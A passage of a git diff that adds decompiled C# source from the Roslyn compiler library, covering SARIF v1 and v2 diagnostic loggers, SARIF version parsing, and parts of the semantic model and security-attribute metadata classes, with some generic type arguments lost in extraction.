"error"; + default: + return "warning"; + } + } + + protected void WriteResultProperties(Diagnostic diagnostic) + { + if (diagnostic.WarningLevel <= 0 && diagnostic.Properties.Count <= 0) + { + return; + } + _writer.WriteObjectStart("properties"); + if (diagnostic.WarningLevel > 0) + { + _writer.Write("warningLevel", diagnostic.WarningLevel); + } + if (diagnostic.Properties.Count > 0) + { + _writer.WriteObjectStart("customProperties"); + foreach (KeyValuePair item in diagnostic.Properties.OrderBy, string>((KeyValuePair x) => x.Key, StringComparer.Ordinal)) + { + _writer.Write(item.Key, item.Value); + } + _writer.WriteObjectEnd(); + } + _writer.WriteObjectEnd(); + } + + protected static bool HasPath(Location location) + { + return !string.IsNullOrEmpty(location.GetLineSpan().Path); + } + + protected static string GetUri(string path) + { + if (Path.IsPathRooted(path)) + { + if (Uri.TryCreate(Path.GetFullPath(path), UriKind.Absolute, out Uri result)) + { + return result.AbsoluteUri; + } + } + else + { + if (!PathUtilities.IsUnixLikePlatform) + { + path = path.Replace("\\\\", "\\"); + path = PathUtilities.NormalizeWithForwardSlash(path); + } + if (Uri.TryCreate(path, UriKind.Relative, out Uri result2)) + { + return s_fileRoot.MakeRelativeUri(new Uri(s_fileRoot, result2)).ToString(); + } + } + return WebUtility.UrlEncode(path); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifV1ErrorLogger.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifV1ErrorLogger.cs new file mode 100644 index 0000000..5729fda --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifV1ErrorLogger.cs @@ -0,0 +1,209 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.IO; +using System.Linq; +using Microsoft.CodeAnalysis.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SarifV1ErrorLogger : SarifErrorLogger, IDisposable +{ + private sealed class DiagnosticDescriptorSet + { + private readonly Dictionary _counters = new Dictionary(); + + private readonly Dictionary _keys = new Dictionary(SarifDiagnosticComparer.Instance); + + public int Count => _keys.Count; + + public string Add(DiagnosticDescriptor descriptor) + { + if (_keys.TryGetValue(descriptor, out string value)) + { + return value; + } + if (!_counters.TryGetValue(descriptor.Id, out var value2)) + { + _counters.Add(descriptor.Id, 0); + _keys.Add(descriptor, descriptor.Id); + return descriptor.Id; + } + do + { + value2 = (_counters[descriptor.Id] = value2 + 1); + value = descriptor.Id + "-" + value2.ToString("000", CultureInfo.InvariantCulture); + } + while (_counters.ContainsKey(value)); + _keys.Add(descriptor, value); + return value; + } + + public List> ToSortedList() + { + List> list = new List>(Count); + foreach (KeyValuePair key in _keys) + { + list.Add(new KeyValuePair(key.Value, key.Key)); + } + list.Sort((KeyValuePair x, KeyValuePair y) => string.CompareOrdinal(x.Key, y.Key)); + return list; + } + } + + private readonly DiagnosticDescriptorSet _descriptors; + + protected override string PrimaryLocationPropertyName => "resultFile"; + + public SarifV1ErrorLogger(Stream stream, string toolName, string toolFileVersion, Version toolAssemblyVersion, CultureInfo culture) + : base(stream, culture) + { + _descriptors = new DiagnosticDescriptorSet(); + base._writer.WriteObjectStart(); + base._writer.Write("$schema", "http://json.schemastore.org/sarif-1.0.0"); + base._writer.Write("version", "1.0.0"); + base._writer.WriteArrayStart("runs"); + base._writer.WriteObjectStart(); + base._writer.WriteObjectStart("tool"); + base._writer.Write("name", toolName); + base._writer.Write("version", toolAssemblyVersion.ToString()); + base._writer.Write("fileVersion", toolFileVersion); + base._writer.Write("semanticVersion", toolAssemblyVersion.ToString(3)); + if (culture.Name.Length > 0) + { + base._writer.Write("language", culture.Name); + } + base._writer.WriteObjectEnd(); + base._writer.WriteArrayStart("results"); + } + + public override void LogDiagnostic(Diagnostic diagnostic, SuppressionInfo? suppressionInfo) + { + base._writer.WriteObjectStart(); + base._writer.Write("ruleId", diagnostic.Id); + string text = _descriptors.Add(diagnostic.Descriptor); + if (text != diagnostic.Id) + { + base._writer.Write("ruleKey", text); + } + base._writer.Write("level", SarifErrorLogger.GetLevel(diagnostic.Severity)); + string message = diagnostic.GetMessage(base._culture); + if (!RoslynString.IsNullOrEmpty(message)) + { + base._writer.Write("message", message); + } + if (diagnostic.IsSuppressed) + { + base._writer.WriteArrayStart("suppressionStates"); + base._writer.Write("suppressedInSource"); + base._writer.WriteArrayEnd(); + } + WriteLocations(diagnostic.Location, diagnostic.AdditionalLocations); + WriteResultProperties(diagnostic); + base._writer.WriteObjectEnd(); + } + + private void WriteLocations(Location location, IReadOnlyList additionalLocations) + { + if (SarifErrorLogger.HasPath(location)) + { + base._writer.WriteArrayStart("locations"); + base._writer.WriteObjectStart(); + base._writer.WriteKey(PrimaryLocationPropertyName); + WritePhysicalLocation(location); + base._writer.WriteObjectEnd(); + base._writer.WriteArrayEnd(); + } + if (additionalLocations == null || additionalLocations.Count <= 0 || !additionalLocations.Any((Location l) => SarifErrorLogger.HasPath(l))) + { + return; + } + base._writer.WriteArrayStart("relatedLocations"); + foreach (Location additionalLocation in additionalLocations) + { + if (SarifErrorLogger.HasPath(additionalLocation)) + { + base._writer.WriteObjectStart(); + base._writer.WriteKey("physicalLocation"); + WritePhysicalLocation(additionalLocation); + base._writer.WriteObjectEnd(); + } + } + base._writer.WriteArrayEnd(); + } + + public override void AddAnalyzerDescriptorsAndExecutionTime(ImmutableArray<(DiagnosticDescriptor Descriptor, DiagnosticDescriptorErrorLoggerInfo Info)> descriptors, double totalAnalyzerExecutionTime) + { + } + + protected override void WritePhysicalLocation(Location location) + { + FileLinePositionSpan lineSpan = location.GetLineSpan(); + base._writer.WriteObjectStart(); + base._writer.Write("uri", SarifErrorLogger.GetUri(lineSpan.Path)); + WriteRegion(lineSpan); + base._writer.WriteObjectEnd(); + } + + private void WriteRules() + { + if (_descriptors.Count <= 0) + { + return; + } + base._writer.WriteObjectStart("rules"); + foreach (KeyValuePair item in _descriptors.ToSortedList()) + { + DiagnosticDescriptor value = item.Value; + base._writer.WriteObjectStart(item.Key); + base._writer.Write("id", value.Id); + string value2 = value.Title.ToString(base._culture); + if (!RoslynString.IsNullOrEmpty(value2)) + { + base._writer.Write("shortDescription", value2); + } + string value3 = value.Description.ToString(base._culture); + if (!RoslynString.IsNullOrEmpty(value3)) + { + base._writer.Write("fullDescription", value3); + } + base._writer.Write("defaultLevel", SarifErrorLogger.GetLevel(value.DefaultSeverity)); + if (!string.IsNullOrEmpty(value.HelpLinkUri)) + { + base._writer.Write("helpUri", value.HelpLinkUri); + } + base._writer.WriteObjectStart("properties"); + if (!string.IsNullOrEmpty(value.Category)) + { + base._writer.Write("category", value.Category); + } + base._writer.Write("isEnabledByDefault", value.IsEnabledByDefault); + if (value.ImmutableCustomTags.Any()) + { + base._writer.WriteArrayStart("tags"); + ImmutableArray.Enumerator enumerator2 = value.ImmutableCustomTags.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current2 = enumerator2.Current; + base._writer.Write(current2); + } + base._writer.WriteArrayEnd(); + } + base._writer.WriteObjectEnd(); + base._writer.WriteObjectEnd(); + } + base._writer.WriteObjectEnd(); + } + + public override void Dispose() + { + base._writer.WriteArrayEnd(); + WriteRules(); + base._writer.WriteObjectEnd(); + base._writer.WriteArrayEnd(); + base._writer.WriteObjectEnd(); + base.Dispose(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifV2ErrorLogger.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifV2ErrorLogger.cs new file mode 100644 index 0000000..c31571c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifV2ErrorLogger.cs @@ -0,0 +1,367 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.IO; +using System.Linq; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SarifV2ErrorLogger : SarifErrorLogger, IDisposable +{ + private sealed class DiagnosticDescriptorSet + { + private readonly record struct DescriptorInfoWithIndex(int Index, DiagnosticDescriptorErrorLoggerInfo Info); + + private readonly Dictionary _distinctDescriptors = new Dictionary(SarifDiagnosticComparer.Instance); + + public int Count => _distinctDescriptors.Count; + + public int Add(DiagnosticDescriptor descriptor, DiagnosticDescriptorErrorLoggerInfo? info = null) + { + if (_distinctDescriptors.TryGetValue(descriptor, out var value)) + { + if (info.HasValue) + { + DiagnosticDescriptorErrorLoggerInfo info2 = value.Info; + DiagnosticDescriptorErrorLoggerInfo? diagnosticDescriptorErrorLoggerInfo = info; + if (info2 != diagnosticDescriptorErrorLoggerInfo) + { + value = new DescriptorInfoWithIndex(value.Index, info.Value); + _distinctDescriptors[descriptor] = value; + } + } + return value.Index; + } + _distinctDescriptors.Add(descriptor, new DescriptorInfoWithIndex(Count, info.GetValueOrDefault())); + return Count - 1; + } + + public List<(int Index, DiagnosticDescriptor Descriptor, DiagnosticDescriptorErrorLoggerInfo Info)> ToSortedList() + { + List<(int, DiagnosticDescriptor, DiagnosticDescriptorErrorLoggerInfo)> list = new List<(int, DiagnosticDescriptor, DiagnosticDescriptorErrorLoggerInfo)>(Count); + foreach (KeyValuePair distinctDescriptor in _distinctDescriptors) + { + list.Add((distinctDescriptor.Value.Index, distinctDescriptor.Key, distinctDescriptor.Value.Info)); + } + list.Sort(((int Index, DiagnosticDescriptor Descriptor, DiagnosticDescriptorErrorLoggerInfo Info) x, (int Index, DiagnosticDescriptor Descriptor, DiagnosticDescriptorErrorLoggerInfo Info) y) => x.Index.CompareTo(y.Index)); + return list; + } + } + + private readonly DiagnosticDescriptorSet _descriptors; + + private readonly HashSet _diagnosticIdsWithAnySourceSuppressions; + + private readonly string _toolName; + + private readonly string _toolFileVersion; + + private readonly Version _toolAssemblyVersion; + + private string? _totalAnalyzerExecutionTime; + + protected override string PrimaryLocationPropertyName => "physicalLocation"; + + public SarifV2ErrorLogger(Stream stream, string toolName, string toolFileVersion, Version toolAssemblyVersion, CultureInfo culture) + : base(stream, culture) + { + _descriptors = new DiagnosticDescriptorSet(); + _diagnosticIdsWithAnySourceSuppressions = new HashSet(); + _toolName = toolName; + _toolFileVersion = toolFileVersion; + _toolAssemblyVersion = toolAssemblyVersion; + base._writer.WriteObjectStart(); + base._writer.Write("$schema", "http://json.schemastore.org/sarif-2.1.0"); + base._writer.Write("version", "2.1.0"); + base._writer.WriteArrayStart("runs"); + base._writer.WriteObjectStart(); + base._writer.WriteArrayStart("results"); + } + + public override void LogDiagnostic(Diagnostic diagnostic, SuppressionInfo? suppressionInfo) + { + base._writer.WriteObjectStart(); + base._writer.Write("ruleId", diagnostic.Id); + int value = _descriptors.Add(diagnostic.Descriptor); + base._writer.Write("ruleIndex", value); + base._writer.Write("level", SarifErrorLogger.GetLevel(diagnostic.Severity)); + string message = diagnostic.GetMessage(base._culture); + if (!RoslynString.IsNullOrEmpty(message)) + { + base._writer.WriteObjectStart("message"); + base._writer.Write("text", message); + base._writer.WriteObjectEnd(); + } + if (diagnostic.IsSuppressed) + { + _diagnosticIdsWithAnySourceSuppressions.Add(diagnostic.Id); + base._writer.WriteArrayStart("suppressions"); + base._writer.WriteObjectStart(); + base._writer.Write("kind", "inSource"); + string text = suppressionInfo?.Attribute?.DecodeNamedArgument("Justification", SpecialType.System_String); + if (text != null) + { + base._writer.Write("justification", text); + } + string text2 = null; + ProgrammaticSuppressionInfo programmaticSuppressionInfo = diagnostic.ProgrammaticSuppressionInfo; + if (programmaticSuppressionInfo != null) + { + string text3 = (from idAndJustification in programmaticSuppressionInfo.Suppressions + orderby idAndJustification.Id + select $"Suppression Id: {idAndJustification.Id}, Suppression Justification: {idAndJustification.Justification}").Join(", "); + text2 = "DiagnosticSuppressor { " + text3 + " }"; + } + else if (suppressionInfo != null) + { + text2 = ((suppressionInfo.Attribute != null) ? "SuppressMessageAttribute" : "Pragma Directive"); + } + if (text2 != null) + { + base._writer.WriteObjectStart("properties"); + base._writer.Write("suppressionType", text2); + base._writer.WriteObjectEnd(); + } + base._writer.WriteObjectEnd(); + base._writer.WriteArrayEnd(); + } + WriteLocations(diagnostic.Location, diagnostic.AdditionalLocations); + WriteResultProperties(diagnostic); + base._writer.WriteObjectEnd(); + } + + public override void AddAnalyzerDescriptorsAndExecutionTime(ImmutableArray<(DiagnosticDescriptor Descriptor, DiagnosticDescriptorErrorLoggerInfo Info)> descriptors, double totalAnalyzerExecutionTime) + { + foreach (var (descriptor, value) in descriptors.OrderBy<(DiagnosticDescriptor, DiagnosticDescriptorErrorLoggerInfo), string>(((DiagnosticDescriptor Descriptor, DiagnosticDescriptorErrorLoggerInfo Info) d) => d.Descriptor.Id)) + { + _descriptors.Add(descriptor, value); + } + _totalAnalyzerExecutionTime = ReportAnalyzerUtil.GetFormattedAnalyzerExecutionTime(totalAnalyzerExecutionTime, base._culture).Trim(); + } + + private void WriteLocations(Location location, IReadOnlyList additionalLocations) + { + if (SarifErrorLogger.HasPath(location)) + { + base._writer.WriteArrayStart("locations"); + base._writer.WriteObjectStart(); + base._writer.WriteKey(PrimaryLocationPropertyName); + WritePhysicalLocation(location); + base._writer.WriteObjectEnd(); + base._writer.WriteArrayEnd(); + } + if (additionalLocations == null || additionalLocations.Count <= 0 || !additionalLocations.Any((Location l) => SarifErrorLogger.HasPath(l))) + { + return; + } + base._writer.WriteArrayStart("relatedLocations"); + foreach (Location additionalLocation in additionalLocations) + { + if (SarifErrorLogger.HasPath(additionalLocation)) + { + base._writer.WriteObjectStart(); + base._writer.WriteKey("physicalLocation"); + WritePhysicalLocation(additionalLocation); + base._writer.WriteObjectEnd(); + } + } + base._writer.WriteArrayEnd(); + } + + protected override void WritePhysicalLocation(Location diagnosticLocation) + { + FileLinePositionSpan lineSpan = diagnosticLocation.GetLineSpan(); + base._writer.WriteObjectStart(); + base._writer.WriteObjectStart("artifactLocation"); + base._writer.Write("uri", SarifErrorLogger.GetUri(lineSpan.Path)); + base._writer.WriteObjectEnd(); + WriteRegion(lineSpan); + base._writer.WriteObjectEnd(); + } + + public override void Dispose() + { + base._writer.WriteArrayEnd(); + if (!string.IsNullOrEmpty(_totalAnalyzerExecutionTime)) + { + base._writer.WriteObjectStart("properties"); + base._writer.Write("analyzerExecutionTime", _totalAnalyzerExecutionTime); + base._writer.WriteObjectEnd(); + } + WriteTool(); + base._writer.Write("columnKind", "utf16CodeUnits"); + base._writer.WriteObjectEnd(); + base._writer.WriteArrayEnd(); + base._writer.WriteObjectEnd(); + base.Dispose(); + } + + private void WriteTool() + { + base._writer.WriteObjectStart("tool"); + base._writer.WriteObjectStart("driver"); + base._writer.Write("name", _toolName); + base._writer.Write("version", _toolFileVersion); + base._writer.Write("dottedQuadFileVersion", _toolAssemblyVersion.ToString()); + base._writer.Write("semanticVersion", _toolAssemblyVersion.ToString(3)); + if (base._culture.Name.Length > 0) + { + base._writer.Write("language", base._culture.Name); + } + ImmutableArray<(string, int, ImmutableHashSet)> effectiveSeverities = WriteRules(); + base._writer.WriteObjectEnd(); + base._writer.WriteObjectEnd(); + WriteInvocations(effectiveSeverities); + } + + private ImmutableArray<(string DescriptorId, int DescriptorIndex, ImmutableHashSet EffectiveSeverities)> WriteRules() + { + ArrayBuilder<(string, int, ImmutableHashSet)> instance = ArrayBuilder<(string, int, ImmutableHashSet)>.GetInstance(_descriptors.Count); + if (_descriptors.Count > 0) + { + base._writer.WriteArrayStart("rules"); + bool flag = !string.IsNullOrEmpty(_totalAnalyzerExecutionTime); + foreach (var (item, diagnosticDescriptor, diagnosticDescriptorErrorLoggerInfo) in _descriptors.ToSortedList()) + { + base._writer.WriteObjectStart(); + base._writer.Write("id", diagnosticDescriptor.Id); + string value = diagnosticDescriptor.Title.ToString(base._culture); + if (!RoslynString.IsNullOrEmpty(value)) + { + base._writer.WriteObjectStart("shortDescription"); + base._writer.Write("text", value); + base._writer.WriteObjectEnd(); + } + string value2 = diagnosticDescriptor.Description.ToString(base._culture); + if (!RoslynString.IsNullOrEmpty(value2)) + { + base._writer.WriteObjectStart("fullDescription"); + base._writer.Write("text", value2); + base._writer.WriteObjectEnd(); + } + WriteDefaultConfiguration(diagnosticDescriptor); + if (!string.IsNullOrEmpty(diagnosticDescriptor.HelpLinkUri)) + { + base._writer.Write("helpUri", diagnosticDescriptor.HelpLinkUri); + } + bool flag2 = _diagnosticIdsWithAnySourceSuppressions.Contains(diagnosticDescriptor.Id); + bool flag3 = diagnosticDescriptorErrorLoggerInfo.HasAnyExternalSuppression || flag2; + if (!string.IsNullOrEmpty(diagnosticDescriptor.Category) || flag3 || flag || diagnosticDescriptor.ImmutableCustomTags.Any()) + { + base._writer.WriteObjectStart("properties"); + if (!string.IsNullOrEmpty(diagnosticDescriptor.Category)) + { + base._writer.Write("category", diagnosticDescriptor.Category); + } + if (flag3) + { + base._writer.Write("isEverSuppressed", "true"); + base._writer.WriteArrayStart("suppressionKinds"); + if (diagnosticDescriptorErrorLoggerInfo.HasAnyExternalSuppression) + { + base._writer.Write("external"); + } + if (flag2) + { + base._writer.Write("inSource"); + } + base._writer.WriteArrayEnd(); + } + if (flag) + { + string value3 = ReportAnalyzerUtil.GetFormattedAnalyzerExecutionTime(diagnosticDescriptorErrorLoggerInfo.ExecutionTime, base._culture).Trim(); + base._writer.Write("executionTimeInSeconds", value3); + string value4 = ReportAnalyzerUtil.GetFormattedAnalyzerExecutionPercentage(diagnosticDescriptorErrorLoggerInfo.ExecutionPercentage, base._culture).Trim(); + base._writer.Write("executionTimeInPercentage", value4); + } + if (diagnosticDescriptor.ImmutableCustomTags.Any()) + { + base._writer.WriteArrayStart("tags"); + ImmutableArray.Enumerator enumerator2 = diagnosticDescriptor.ImmutableCustomTags.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current = enumerator2.Current; + base._writer.Write(current); + } + base._writer.WriteArrayEnd(); + } + base._writer.WriteObjectEnd(); + } + base._writer.WriteObjectEnd(); + ReportDiagnostic reportDiagnostic = (diagnosticDescriptor.IsEnabledByDefault ? DiagnosticDescriptor.MapSeverityToReport(diagnosticDescriptor.DefaultSeverity) : ReportDiagnostic.Suppress); + if (diagnosticDescriptorErrorLoggerInfo.EffectiveSeverities != null && (diagnosticDescriptorErrorLoggerInfo.EffectiveSeverities.Count != 1 || diagnosticDescriptorErrorLoggerInfo.EffectiveSeverities.Single() != reportDiagnostic)) + { + instance.Add((diagnosticDescriptor.Id, item, diagnosticDescriptorErrorLoggerInfo.EffectiveSeverities)); + } + } + base._writer.WriteArrayEnd(); + } + return instance.ToImmutableAndFree(); + } + + private void WriteInvocations(ImmutableArray<(string DescriptorId, int DescriptorIndex, ImmutableHashSet EffectiveSeverities)> effectiveSeverities) + { + if (effectiveSeverities.IsEmpty) + { + return; + } + base._writer.WriteArrayStart("invocations"); + base._writer.WriteObjectStart(); + base._writer.Write("executionSuccessful", value: true); + base._writer.WriteArrayStart("ruleConfigurationOverrides"); + ImmutableArray<(string, int, ImmutableHashSet)>.Enumerator enumerator = effectiveSeverities.GetEnumerator(); + while (enumerator.MoveNext()) + { + (string, int, ImmutableHashSet) current = enumerator.Current; + var (value, value2, _) = current; + foreach (ReportDiagnostic item in current.Item3.OrderBy(Comparer.Default)) + { + base._writer.WriteObjectStart(); + base._writer.WriteObjectStart("descriptor"); + base._writer.Write("id", value); + base._writer.Write("index", value2); + base._writer.WriteObjectEnd(); + base._writer.WriteObjectStart("configuration"); + DiagnosticSeverity? diagnosticSeverity = DiagnosticDescriptor.MapReportToSeverity(item); + if (!diagnosticSeverity.HasValue) + { + base._writer.Write("enabled", value: false); + } + else + { + string level = SarifErrorLogger.GetLevel(diagnosticSeverity.Value); + base._writer.Write("level", level); + } + base._writer.WriteObjectEnd(); + base._writer.WriteObjectEnd(); + } + } + base._writer.WriteArrayEnd(); + base._writer.WriteObjectEnd(); + base._writer.WriteArrayEnd(); + } + + private void WriteDefaultConfiguration(DiagnosticDescriptor descriptor) + { + string level = SarifErrorLogger.GetLevel(descriptor.DefaultSeverity); + bool flag = level != "warning"; + bool flag2 = !descriptor.IsEnabledByDefault; + if (flag || flag2) + { + base._writer.WriteObjectStart("defaultConfiguration"); + if (flag) + { + base._writer.Write("level", level); + } + if (flag2) + { + base._writer.Write("enabled", descriptor.IsEnabledByDefault); + } + base._writer.WriteObjectEnd(); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifVersion.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifVersion.cs new file mode 100644 index 0000000..ddcaae2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifVersion.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis; + +public enum SarifVersion +{ + Sarif1 = 1, + Sarif2 = 2, + Default = 1, + Latest = int.MaxValue +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifVersionFacts.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifVersionFacts.cs new file mode 100644 index 0000000..ddba885 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifVersionFacts.cs @@ -0,0 +1,33 @@ +namespace Microsoft.CodeAnalysis; + +public static class SarifVersionFacts +{ + public static bool TryParse(string version, out SarifVersion result) + { + if (version == null) + { + result = SarifVersion.Sarif1; + return true; + } + switch (CaseInsensitiveComparison.ToLower(version)) + { + case "default": + result = SarifVersion.Sarif1; + return true; + case "latest": + result = SarifVersion.Latest; + return true; + case "1": + case "1.0": + result = SarifVersion.Sarif1; + return true; + case "2": + case "2.1": + result = SarifVersion.Sarif2; + return true; + default: + result = SarifVersion.Sarif1; + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ScopedKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ScopedKind.cs new file mode 100644 index 0000000..4205316 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ScopedKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum ScopedKind : byte +{ + None, + ScopedRef, + ScopedValue +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ScriptCompilationInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ScriptCompilationInfo.cs new file mode 100644 index 0000000..f0c32bf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ScriptCompilationInfo.cs @@ -0,0 +1,29 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public abstract class ScriptCompilationInfo +{ + internal Type? ReturnTypeOpt { get; } + + public Type ReturnType => ReturnTypeOpt ?? typeof(object); + + public Type? GlobalsType { get; } + + public Compilation? PreviousScriptCompilation => CommonPreviousScriptCompilation; + + internal abstract Compilation? CommonPreviousScriptCompilation { get; } + + internal ScriptCompilationInfo(Type? returnType, Type? globalsType) + { + ReturnTypeOpt = returnType; + GlobalsType = globalsType; + } + + public ScriptCompilationInfo WithPreviousScriptCompilation(Compilation? compilation) + { + return CommonWithPreviousScriptCompilation(compilation); + } + + internal abstract ScriptCompilationInfo CommonWithPreviousScriptCompilation(Compilation? compilation); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SecurityWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SecurityWellKnownAttributeData.cs new file mode 100644 index 0000000..4f0796b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SecurityWellKnownAttributeData.cs @@ -0,0 +1,55 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SecurityWellKnownAttributeData +{ + private byte[] _lazySecurityActions; + + private string[] _lazyPathsForPermissionSetFixup; + + public void SetSecurityAttribute(int attributeIndex, DeclarativeSecurityAction action, int totalSourceAttributes) + { + if (_lazySecurityActions == null) + { + Interlocked.CompareExchange(ref _lazySecurityActions, new byte[totalSourceAttributes], null); + } + _lazySecurityActions[attributeIndex] = (byte)action; + } + + public void SetPathForPermissionSetAttributeFixup(int attributeIndex, string resolvedFilePath, int totalSourceAttributes) + { + if (_lazyPathsForPermissionSetFixup == null) + { + Interlocked.CompareExchange(ref _lazyPathsForPermissionSetFixup, new string[totalSourceAttributes], null); + } + _lazyPathsForPermissionSetFixup[attributeIndex] = resolvedFilePath; + } + + public IEnumerable GetSecurityAttributes(ImmutableArray customAttributes) where T : ICustomAttribute + { + if (_lazySecurityActions == null) + { + yield break; + } + for (int i = 0; i < customAttributes.Length; i++) + { + if (_lazySecurityActions[i] != 0) + { + DeclarativeSecurityAction action = (DeclarativeSecurityAction)_lazySecurityActions[i]; + ICustomAttribute customAttribute = customAttributes[i]; + string[] lazyPathsForPermissionSetFixup = _lazyPathsForPermissionSetFixup; + if (((lazyPathsForPermissionSetFixup != null) ? lazyPathsForPermissionSetFixup[i] : null) != null) + { + customAttribute = new PermissionSetAttributeWithFileReference(customAttribute, _lazyPathsForPermissionSetFixup[i]); + } + yield return new SecurityAttribute(action, customAttribute); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SemanticModel.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SemanticModel.cs new file mode 100644 index 0000000..6c17a23 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SemanticModel.cs @@ -0,0 +1,246 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +public abstract class SemanticModel +{ + public abstract string Language { get; } + + public Compilation Compilation => CompilationCore; + + protected abstract Compilation CompilationCore { get; } + + public SyntaxTree SyntaxTree => SyntaxTreeCore; + + protected abstract SyntaxTree SyntaxTreeCore { get; } + + public virtual bool IgnoresAccessibility => false; + + [MemberNotNullWhen(true, "ParentModel")] + public abstract bool IsSpeculativeSemanticModel + { + [MemberNotNullWhen(true, "ParentModel")] + get; + } + + public abstract int OriginalPositionForSpeculation { get; } + + public SemanticModel? ParentModel => ParentModelCore; + + protected abstract SemanticModel? ParentModelCore { get; } + + internal abstract SemanticModel ContainingPublicModelOrSelf { get; } + + internal SyntaxNode Root => RootCore; + + protected abstract SyntaxNode RootCore { get; } + + public IOperation? GetOperation(SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetOperationCore(node, cancellationToken); + } + + protected abstract IOperation? GetOperationCore(SyntaxNode node, CancellationToken cancellationToken); + + internal SymbolInfo GetSymbolInfo(SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetSymbolInfoCore(node, cancellationToken); + } + + protected abstract SymbolInfo GetSymbolInfoCore(SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)); + + internal SymbolInfo GetSpeculativeSymbolInfo(int position, SyntaxNode expression, SpeculativeBindingOption bindingOption) + { + return GetSpeculativeSymbolInfoCore(position, expression, bindingOption); + } + + protected abstract SymbolInfo GetSpeculativeSymbolInfoCore(int position, SyntaxNode expression, SpeculativeBindingOption bindingOption); + + internal TypeInfo GetSpeculativeTypeInfo(int position, SyntaxNode expression, SpeculativeBindingOption bindingOption) + { + return GetSpeculativeTypeInfoCore(position, expression, bindingOption); + } + + protected abstract TypeInfo GetSpeculativeTypeInfoCore(int position, SyntaxNode expression, SpeculativeBindingOption bindingOption); + + internal TypeInfo GetTypeInfo(SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetTypeInfoCore(node, cancellationToken); + } + + protected abstract TypeInfo GetTypeInfoCore(SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)); + + internal IAliasSymbol? GetAliasInfo(SyntaxNode nameSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetAliasInfoCore(nameSyntax, cancellationToken); + } + + protected abstract IAliasSymbol? GetAliasInfoCore(SyntaxNode nameSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + internal IAliasSymbol? GetSpeculativeAliasInfo(int position, SyntaxNode nameSyntax, SpeculativeBindingOption bindingOption) + { + return GetSpeculativeAliasInfoCore(position, nameSyntax, bindingOption); + } + + protected abstract IAliasSymbol? GetSpeculativeAliasInfoCore(int position, SyntaxNode nameSyntax, SpeculativeBindingOption bindingOption); + + public abstract ImmutableArray GetSyntaxDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ImmutableArray GetDeclarationDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ImmutableArray GetMethodBodyDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ImmutableArray GetDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)); + + internal ISymbol? GetDeclaredSymbolForNode(SyntaxNode declaration, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetDeclaredSymbolCore(declaration, cancellationToken); + } + + protected abstract ISymbol? GetDeclaredSymbolCore(SyntaxNode declaration, CancellationToken cancellationToken = default(CancellationToken)); + + internal 